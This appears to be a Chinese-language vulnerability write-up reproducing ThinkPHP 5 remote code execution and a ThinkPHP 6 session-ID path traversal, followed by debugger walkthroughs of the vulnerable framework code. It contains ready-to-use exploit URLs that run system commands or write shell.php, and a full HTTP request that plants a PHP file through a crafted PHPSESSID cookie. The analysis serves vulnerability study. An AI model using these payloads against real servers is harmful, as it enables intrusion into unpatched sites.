Thinkphp5任意代码执行
环境搭建
thinkphp5的环境搭建是比较简单的
lamp环境搭建好,将源码扔到web目录就行了
注意重新配置一下nginx里面的web根目录
根据thinkphp的目录结构,主目录里面的public文件是暴露在公网的根目录
38 root /var/www/public
重启一下Nginx,访问http://127.0.0.1/index.php 即可
上面的搭建了但是不好调试,这里还是在windows上搭建一个phpstorm xdebug调试环境
在xdebug下载合适的xdebug的dll到%PHP_HOME%/ext,然后在php.ini中写入配置:
[XDebug]
xdebug.profiler_output_dir="E:\phpstudy\PHPTutorial\tmp\xdebug"
xdebug.trace_output_dir="E:\phpstudy\PHPTutorial\tmp\xdebug"
zend_extension=**"E:\phpstudy\PHPTutorial\php\php-7.1.13-nts\ext\php_xdebug-2.7.2-7.1-vc14-nts.dll"** #这个是你要替换的文件
xdebug.remote_enable=1
xdebug.remote_handler=dbgp
xdebug.remote_mode=req
xdebug.remote_port=9001 #Phpstorm默认值配置9000,你阔以更改
xdebug.idekey="PHPSTORM"
xdebug.mode=debug
zend_extension = D:\phpstudy\Extensions\php\php7.3.4nts\ext\php_xdebug-3.0.3-7.3-vc15-nts-x86_64.dll
然后进入phpstorm里面配置php环境,debug插件配置好
配置Run/Degub Configuration,具体可以看这篇
然后自己琢磨一会配置之后,就可以下断点愉快的调试了~
影响版本
5.0.7 – 5.0.22 5.1.x
漏洞复现
一个URL即可RCE:
5.0.x
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
5.1.x
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
还有_construct家族的payload
这里的漏洞我没复现成功,应该是版本没对上
注意,不同版本有不同的payload,具体看Y4er的文章
POST /index.php?s=captcha
...
_method=__construct&filter[]=system&method=POST&POST[]=ipconfig
debug
自己看网上的文章看了很久,debug试了半天终于有了一个大概的了解了
首先thinkphp的入口文件index.php
<?php
// 定义应用目录
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';
接下来跳到start.php
<?php
namespace think;
// ThinkPHP 引导文件
// 1. 加载基础文件
require __DIR__ . '/base.php';
// 2. 执行应用
App::run()->send();
接下来是App::run()->send();
跳到App.php,且关键代码在第116行
114 // 未设置调度信息则进行 URL 路由检测
115 if (empty($dispatch)) {
116 $dispatch = self::routeCheck($request, $config);
117 }
这里对传入的路由进行检测并返回
$dispatch = {array} [2]
type = "module"
module = {array} [3]
0 = "index"
1 = "think\app"
2 = "invokefunction"
然后跳到第139行带着dispatch进去exec
139 $data = self::exec($dispatch, $config);
452在switch/case语句里面判断请求,如果是模块:
case 'module': // 模块/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;
则依然带着
module = {array} [3]
0 = "index"
1 = "think\app"
2 = "invokefunction"
进入self::module
方法, 然后在最后return到invokeMethod
方法执行命令
public static function invokeMethod($method, $vars = [])
{
if (is_array($method)) {
$class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
$reflect = new \ReflectionMethod($class, $method[1]);
} else {
// 静态方法
$reflect = new \ReflectionMethod($method);
}
$args = self::bindParams($reflect, $vars);
self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');
return $reflect->invokeArgs(isset($class) ? $class : null, $args);
}
其中$args的参数值:
$args的值是在App.php里面的第369行被绑定的
$args = {array} [2]
0 = "call_user_func_array"
1 = {array} [2]
0 = "system"
1 = {array} [1]
0 = "curl http://127.0.0.1:8081"
Thinkphp6任意文件操作
环境搭建
根据百度下载php composer
换源composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
安装tp6: composer create-project topthink/think think6
安装以后默认是最新版本,编辑根目录下的composer.json
"require": {
"php": ">=7.1.0",
"topthink/framework": "6.0.1",
"topthink/think-orm": "^2.0"
},
然后执行:composer update
而且tp6默认是不开启phpsession的,我们修改一下app\middleware.php
文件
<?php
// 全局中间件定义文件
return [
// 全局请求缓存
// \think\middleware\CheckRequestCache::class,
// 多语言加载
// \think\middleware\LoadLangPack::class,
// Session初始化
\think\middleware\SessionInit::class
];
然后因为我们没有真实的写业务逻辑,所以空的框架是用不到sessionid的,所以我们要写一个漏洞入口出来,在app/controller/index.php
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
$a = isset($_GET['a']) && !empty($_GET['a']) ? $_GET['a'] : '';
$b = isset($_GET['b']) && !empty($_GET['b']) ? $_GET['b'] : '';
session($a,$b);
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V6<br/><span style="font-size:30px">13载初心不改 - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
}
public function hello($name = 'ThinkPHP6')
{
return 'hello,' . $name;
}
}
影响版本
6.0.0-6.0.1
网站使用到了session
漏洞复现
直接发包:
GET /?a=a&b=123<?php+phpinfo();+?> HTTP/1.1
Host: 127.0.0.1:8000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=/../../../public/aaaaaaaaaaa.php;
Connection: close
然后访问/aaaaaaaaaaa.php
debug
个人认为最有问题的代码就出现在这里,过滤不严格
public function setId($id = null): void
{
$this->id = is_string($id) && strlen($id) === 32 ? $id : md5(microtime(true) . session_create_id());
}
这里只要id是32位的那么就不会进行session_create_id,进而整个sessionID就可控,为什么可控呢
我们全局搜索一下setId(
,这个函数在哪里被调用了,在sessionInit.php里面
public function handle($request, Closure $next)
{
// Session初始化
$varSessionId = $this->app->config->get('session.var_session_id');
$cookieName = $this->session->getName();
if ($varSessionId && $request->request($varSessionId)) {
$sessionId = $request->request($varSessionId);
} else {
$sessionId = $request->cookie($cookieName);
}
if ($sessionId) {
$this->session->setId($sessionId);
}
观察一下sessionID的值是从cookie中(或者request传参)传过来的,跟进一下
$data = $this->getData($this->cookie, $name, $default);
反正这里的sessionID我们可以控制任意值。
然后在sessionInit中的最后有一段代码
public function end(Response $response)
{
$this->session->save();
}
这里会写入session到文件里面
public function save(): void
{
$this->clearFlashData();
$sessionId = $this->getId();
if (!empty($this->data)) {
$data = $this->serialize($this->data);
$this->handler->write($sessionId, $data);
} else {
$this->handler->delete($sessionId);
}
$this->init = false;
}
好了,这里就是tp6任意操作文件的函数了,因为他是把sessionID作为文件名,所以如果把sessionID设置成类似/../../../
就能达到目录穿透的效果。
所以,write可以任意写文件,delete可以任意删除文件就很好解释了。